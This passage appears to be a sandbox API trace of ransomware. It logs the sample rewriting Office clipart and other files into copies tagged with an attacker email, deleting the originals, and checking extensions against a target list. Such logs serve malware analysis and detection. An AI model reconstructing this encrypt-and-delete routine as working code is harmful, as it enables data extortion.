lpNewFilePointer=0x0) returned 1 [0199.956] SetEndOfFile (hFile=0x458) returned 1 [0199.960] CloseHandle (hObject=0x458) returned 1 [0199.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0200.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf")) returned 1 [0200.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0200.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0200.558] lstrlenW (lpString=".doc") returned 4 [0200.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.558] lstrlenW (lpString=".docx") returned 5 [0200.558] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0200.558] lstrlenW (lpString=".pdf") returned 4 [0200.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.558] lstrlenW (lpString=".xls") returned 4 [0200.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.559] lstrlenW (lpString=".xlsx") returned 5 [0200.559] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0200.559] lstrlenW (lpString=".ppt") returned 4 [0200.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0200.559] lstrlenW (lpString=".zip") returned 4 [0200.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.559] lstrlenW (lpString=".rar") returned 4 [0200.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.559] lstrlenW (lpString=".bz2") returned 4 [0200.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.559] lstrlenW (lpString=".7z") returned 3 [0200.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0200.559] lstrlenW (lpString=".dbf") returned 4 [0200.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0200.559] lstrlenW (lpString=".1cd") returned 4 [0200.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0200.559] lstrlenW (lpString=".jpg") returned 4 [0200.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.219] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.219] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0202.220] GetLastError () returned 0x0 [0202.220] ReadFile (in: hFile=0x300, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x5398, lpOverlapped=0x0) returned 1 [0202.222] WriteFile (in: hFile=0x304, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x53a0, lpOverlapped=0x0) returned 1 [0202.224] ReadFile (in: hFile=0x300, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0202.224] WriteFile (in: hFile=0x304, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0202.225] SetEndOfFile (hFile=0x304) returned 1 [0202.225] CloseHandle (hObject=0x304) returned 1 [0202.225] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.225] SetEndOfFile (hFile=0x300) returned 1 [0202.229] CloseHandle (hObject=0x300) returned 1 [0202.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf")) returned 1 [0202.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0202.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0202.231] lstrlenW (lpString=".doc") returned 4 [0202.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.231] lstrlenW (lpString=".docx") returned 5 [0202.231] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0202.231] lstrlenW (lpString=".pdf") returned 4 [0202.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.231] lstrlenW (lpString=".xls") returned 4 [0202.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.231] lstrlenW (lpString=".xlsx") returned 5 [0202.231] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0202.231] lstrlenW (lpString=".ppt") returned 4 [0202.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0202.231] lstrlenW (lpString=".zip") returned 4 [0202.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.231] lstrlenW (lpString=".rar") returned 4 [0202.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.231] lstrlenW (lpString=".bz2") returned 4 [0202.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.231] lstrlenW (lpString=".7z") returned 3 [0202.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0202.231] lstrlenW (lpString=".dbf") returned 4 [0202.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0202.232] lstrlenW (lpString=".1cd") returned 4 [0202.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0202.232] lstrlenW (lpString=".jpg") returned 4 [0202.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.234] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.234] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0202.235] GetLastError () returned 0x0 [0202.235] ReadFile (in: hFile=0x300, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xf36, lpOverlapped=0x0) returned 1 [0202.237] WriteFile (in: hFile=0x304, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xf40, lpOverlapped=0x0) returned 1 [0202.238] ReadFile (in: hFile=0x300, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0202.238] WriteFile (in: hFile=0x304, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0202.238] SetEndOfFile (hFile=0x304) returned 1 [0202.238] CloseHandle (hObject=0x304) returned 1 [0202.239] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.239] SetEndOfFile (hFile=0x300) returned 1 [0202.242] CloseHandle (hObject=0x300) returned 1 [0202.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0202.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf")) returned 1 [0202.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0202.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0202.244] lstrlenW (lpString=".doc") returned 4 [0202.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.244] lstrlenW (lpString=".docx") returned 5 [0202.244] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0202.244] lstrlenW (lpString=".pdf") returned 4 [0202.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.245] lstrlenW (lpString=".xls") returned 4 [0202.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.245] lstrlenW (lpString=".xlsx") returned 5 [0202.245] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0202.245] lstrlenW (lpString=".ppt") returned 4 [0202.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0202.245] lstrlenW (lpString=".zip") returned 4 [0202.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.245] lstrlenW (lpString=".rar") returned 4 [0202.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.245] lstrlenW (lpString=".bz2") returned 4 [0202.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.245] lstrlenW (lpString=".7z") returned 3 [0202.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0202.245] lstrlenW (lpString=".dbf") returned 4 [0202.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0202.245] lstrlenW (lpString=".1cd") returned 4 [0202.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0202.245] lstrlenW (lpString=".jpg") returned 4 [0202.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.251] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.251] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0202.252] GetLastError () returned 0x0 [0202.252] ReadFile (in: hFile=0x300, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xa50e, lpOverlapped=0x0) returned 1 [0202.256] WriteFile (in: hFile=0x304, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xa510, lpOverlapped=0x0) returned 1 [0202.257] ReadFile (in: hFile=0x300, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0202.257] WriteFile (in: hFile=0x304, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0202.621] SetEndOfFile (hFile=0x304) returned 1 [0202.621] CloseHandle (hObject=0x304) returned 1 [0202.621] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0202.622] SetEndOfFile (hFile=0x300) returned 1 [0202.625] CloseHandle (hObject=0x300) returned 1 [0202.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg")) returned 1 [0203.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0203.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0203.103] lstrlenW (lpString=".doc") returned 4 [0203.103] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.103] lstrlenW (lpString=".docx") returned 5 [0203.103] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0203.103] lstrlenW (lpString=".pdf") returned 4 [0203.103] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.103] lstrlenW (lpString=".xls") returned 4 [0203.103] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.103] lstrlenW (lpString=".xlsx") returned 5 [0203.103] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0203.103] lstrlenW (lpString=".ppt") returned 4 [0203.104] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0203.104] lstrlenW (lpString=".zip") returned 4 [0203.104] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.104] lstrlenW (lpString=".rar") returned 4 [0203.104] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.104] lstrlenW (lpString=".bz2") returned 4 [0203.104] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.104] lstrlenW (lpString=".7z") returned 3 [0203.104] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0203.104] lstrlenW (lpString=".dbf") returned 4 [0203.104] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0203.104] lstrlenW (lpString=".1cd") returned 4 [0203.104] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0203.104] lstrlenW (lpString=".jpg") returned 4 [0203.104] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0204.374] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0204.374] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0204.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.376] GetLastError () returned 0x0 [0204.376] ReadFile (in: hFile=0x56c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x45a2, lpOverlapped=0x0) returned 1 [0204.382] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x45b0, lpOverlapped=0x0) returned 1 [0204.383] ReadFile (in: hFile=0x56c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0204.383] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0204.383] SetEndOfFile (hFile=0x544) returned 1 [0204.383] CloseHandle (hObject=0x544) returned 1 [0204.383] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0204.383] SetEndOfFile (hFile=0x56c) returned 1 [0204.387] CloseHandle (hObject=0x56c) returned 1 [0204.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf")) returned 1 [0204.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0204.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0204.389] lstrlenW (lpString=".doc") returned 4 [0204.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.389] lstrlenW (lpString=".docx") returned 5 [0204.389] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0204.389] lstrlenW (lpString=".pdf") returned 4 [0204.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.389] lstrlenW (lpString=".xls") returned 4 [0204.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.389] lstrlenW (lpString=".xlsx") returned 5 [0204.389] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0204.389] lstrlenW (lpString=".ppt") returned 4 [0204.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0204.389] lstrlenW (lpString=".zip") returned 4 [0204.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.389] lstrlenW (lpString=".rar") returned 4 [0204.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.389] lstrlenW (lpString=".bz2") returned 4 [0204.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.389] lstrlenW (lpString=".7z") returned 3 [0204.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0204.389] lstrlenW (lpString=".dbf") returned 4 [0204.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0204.389] lstrlenW (lpString=".1cd") returned 4 [0204.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0204.390] lstrlenW (lpString=".jpg") returned 4 [0204.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.397] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d30, Size=0x20) returned 0x459f830 [0204.397] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2e98 [0204.397] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e98, Size=0x20) returned 0x459f790 [0204.397] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.397] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.397] Wow64DisableWow64FsRedirection (in: OldValue=0x29eff50 | out: OldValue=0x29eff50*=0x1) returned 1 [0204.397] lstrlenW (lpString="kernel32.dll") returned 12 [0204.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f790 | out: hHeap=0x710000) returned 1 [0204.397] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f830 | out: hHeap=0x710000) returned 1 Thread: id = 40 os_tid = 0xe14 [0157.798] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3790738 [0157.799] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x37a0740 [0157.799] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd58 [0157.799] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac228 [0157.799] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd70 [0157.799] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3972020 [0157.803] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bc50 [0157.803] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bc50, Size=0x20) returned 0x74dc98 [0157.803] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd88 [0157.803] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bd88, Size=0x20) returned 0x74dcc0 [0157.803] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.804] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.804] Wow64DisableWow64FsRedirection (in: OldValue=0x2aeff50 | out: OldValue=0x2aeff50*=0x0) returned 1 [0157.804] lstrlenW (lpString="kernel32.dll") returned 12 [0157.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dc98 | out: hHeap=0x710000) returned 1 [0157.804] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dcc0 | out: hHeap=0x710000) returned 1 [0157.804] Sleep (dwMilliseconds=0x64) [0158.338] Sleep (dwMilliseconds=0x64) [0158.876] Sleep (dwMilliseconds=0x64) [0159.169] Sleep (dwMilliseconds=0x64) [0159.614] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0159.614] lstrlenW (lpString="Alphabet.xml") returned 12 [0159.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0159.616] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=791421) returned 1 [0159.616] CloseHandle (hObject=0x390) returned 1 [0159.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0159.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0159.617] lstrlenW (lpString=".doc") returned 4 [0159.617] lstrcmpiW (lpString1=".doc", 